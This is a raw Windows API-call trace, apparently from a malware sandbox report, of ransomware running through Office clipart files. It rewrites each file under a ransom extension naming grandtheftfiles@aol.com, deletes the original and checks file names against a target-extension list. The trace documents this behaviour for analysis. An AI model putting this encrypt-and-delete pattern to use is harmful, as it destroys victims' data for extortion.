	[0166.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.388] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11900) returned 1
	[0166.393] CloseHandle (hObject=0x508) returned 1
	[0166.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220
	[0166.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0166.800] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.800] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.306] GetLastError () returned 0x0
	[0168.306] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2e7c, lpOverlapped=0x0) returned 1
	[0168.308] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0168.309] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.309] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.309] SetEndOfFile (hFile=0x53c) returned 1
	[0168.310] CloseHandle (hObject=0x53c) returned 1
	[0168.310] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.310] SetEndOfFile (hFile=0x374) returned 1
	[0168.313] CloseHandle (hObject=0x374) returned 1
	[0168.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1
	[0168.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.314] lstrlenW (lpString=".doc") returned 4
	[0168.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.314] lstrlenW (lpString=".docx") returned 5
	[0168.314] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.314] lstrlenW (lpString=".pdf") returned 4
	[0168.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.314] lstrlenW (lpString=".xls") returned 4
	[0168.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.314] lstrlenW (lpString=".xlsx") returned 5
	[0168.314] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.314] lstrlenW (lpString=".ppt") returned 4
	[0168.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.314] lstrlenW (lpString=".zip") returned 4
	[0168.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.314] lstrlenW (lpString=".rar") returned 4
	[0168.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString=".bz2") returned 4
	[0168.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString=".7z") returned 3
	[0168.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.315] lstrlenW (lpString=".dbf") returned 4
	[0168.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.315] lstrlenW (lpString=".1cd") returned 4
	[0168.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.315] lstrlenW (lpString=".jpg") returned 4
	[0168.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.315] lstrlenW (lpString=".doc") returned 4
	[0168.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString=".docx") returned 5
	[0168.315] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.315] lstrlenW (lpString=".pdf") returned 4
	[0168.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString=".xls") returned 4
	[0168.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.315] lstrlenW (lpString=".xlsx") returned 5
	[0168.315] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.315] lstrlenW (lpString=".ppt") returned 4
	[0168.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.315] lstrlenW (lpString=".zip") returned 4
	[0168.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.315] lstrlenW (lpString=".rar") returned 4
	[0168.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString=".bz2") returned 4
	[0168.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.315] lstrlenW (lpString=".7z") returned 3
	[0168.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.316] lstrlenW (lpString=".dbf") returned 4
	[0168.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.316] lstrlenW (lpString=".1cd") returned 4
	[0168.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.316] lstrlenW (lpString=".jpg") returned 4
	[0168.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.316] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.316] lstrlenW (lpString="J0107138.WMF") returned 12
	[0168.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.317] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=17200) returned 1
	[0168.317] CloseHandle (hObject=0x374) returned 1
	[0168.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220
	[0168.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.318] GetLastError () returned 0x0
	[0168.318] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4330, lpOverlapped=0x0) returned 1
	[0168.320] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4340, lpOverlapped=0x0) returned 1
	[0168.321] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.322] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.322] SetEndOfFile (hFile=0x53c) returned 1
	[0168.322] CloseHandle (hObject=0x53c) returned 1
	[0168.322] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.322] SetEndOfFile (hFile=0x374) returned 1
	[0168.326] CloseHandle (hObject=0x374) returned 1
	[0168.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1
	[0168.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.327] lstrlenW (lpString=".doc") returned 4
	[0168.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.327] lstrlenW (lpString=".docx") returned 5
	[0168.327] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.327] lstrlenW (lpString=".pdf") returned 4
	[0168.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.327] lstrlenW (lpString=".xls") returned 4
	[0168.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.327] lstrlenW (lpString=".xlsx") returned 5
	[0168.327] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.327] lstrlenW (lpString=".ppt") returned 4
	[0168.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.327] lstrlenW (lpString=".zip") returned 4
	[0168.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.327] lstrlenW (lpString=".rar") returned 4
	[0168.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString=".bz2") returned 4
	[0168.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString=".7z") returned 3
	[0168.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.328] lstrlenW (lpString=".dbf") returned 4
	[0168.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.328] lstrlenW (lpString=".1cd") returned 4
	[0168.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.328] lstrlenW (lpString=".jpg") returned 4
	[0168.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.328] lstrlenW (lpString=".doc") returned 4
	[0168.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString=".docx") returned 5
	[0168.328] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.328] lstrlenW (lpString=".pdf") returned 4
	[0168.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString=".xls") returned 4
	[0168.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.328] lstrlenW (lpString=".xlsx") returned 5
	[0168.328] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.328] lstrlenW (lpString=".ppt") returned 4
	[0168.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.328] lstrlenW (lpString=".zip") returned 4
	[0168.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.328] lstrlenW (lpString=".rar") returned 4
	[0168.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.329] lstrlenW (lpString=".bz2") returned 4
	[0168.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.329] lstrlenW (lpString=".7z") returned 3
	[0168.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.329] lstrlenW (lpString=".dbf") returned 4
	[0168.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.329] lstrlenW (lpString=".1cd") returned 4
	[0168.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0168.329] lstrlenW (lpString=".jpg") returned 4
	[0168.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.329] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.329] lstrlenW (lpString="J0107146.WMF") returned 12
	[0168.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.330] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=14996) returned 1
	[0168.330] CloseHandle (hObject=0x374) returned 1
	[0168.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220
	[0168.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.330] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.331] GetLastError () returned 0x0
	[0168.331] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0168.333] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0168.334] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.334] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.334] SetEndOfFile (hFile=0x53c) returned 1
	[0168.335] CloseHandle (hObject=0x53c) returned 1
	[0168.335] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.335] SetEndOfFile (hFile=0x374) returned 1
	[0168.337] CloseHandle (hObject=0x374) returned 1
	[0168.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1
	[0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.338] lstrlenW (lpString=".doc") returned 4
	[0168.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.338] lstrlenW (lpString=".docx") returned 5
	[0168.338] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.338] lstrlenW (lpString=".pdf") returned 4
	[0168.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.338] lstrlenW (lpString=".xls") returned 4
	[0168.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.339] lstrlenW (lpString=".xlsx") returned 5
	[0168.339] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.339] lstrlenW (lpString=".ppt") returned 4
	[0168.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.339] lstrlenW (lpString=".zip") returned 4
	[0168.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.339] lstrlenW (lpString=".rar") returned 4
	[0168.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString=".bz2") returned 4
	[0168.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString=".7z") returned 3
	[0168.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.339] lstrlenW (lpString=".dbf") returned 4
	[0168.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.339] lstrlenW (lpString=".1cd") returned 4
	[0168.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.339] lstrlenW (lpString=".jpg") returned 4
	[0168.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.339] lstrlenW (lpString=".doc") returned 4
	[0168.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString=".docx") returned 5
	[0168.339] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.339] lstrlenW (lpString=".pdf") returned 4
	[0168.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.339] lstrlenW (lpString=".xls") returned 4
	[0168.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.340] lstrlenW (lpString=".xlsx") returned 5
	[0168.340] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.340] lstrlenW (lpString=".ppt") returned 4
	[0168.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.340] lstrlenW (lpString=".zip") returned 4
	[0168.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.340] lstrlenW (lpString=".rar") returned 4
	[0168.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.340] lstrlenW (lpString=".bz2") returned 4
	[0168.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.340] lstrlenW (lpString=".7z") returned 3
	[0168.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.340] lstrlenW (lpString=".dbf") returned 4
	[0168.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.340] lstrlenW (lpString=".1cd") returned 4
	[0168.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0168.340] lstrlenW (lpString=".jpg") returned 4
	[0168.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.340] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.340] lstrlenW (lpString="J0107148.WMF") returned 12
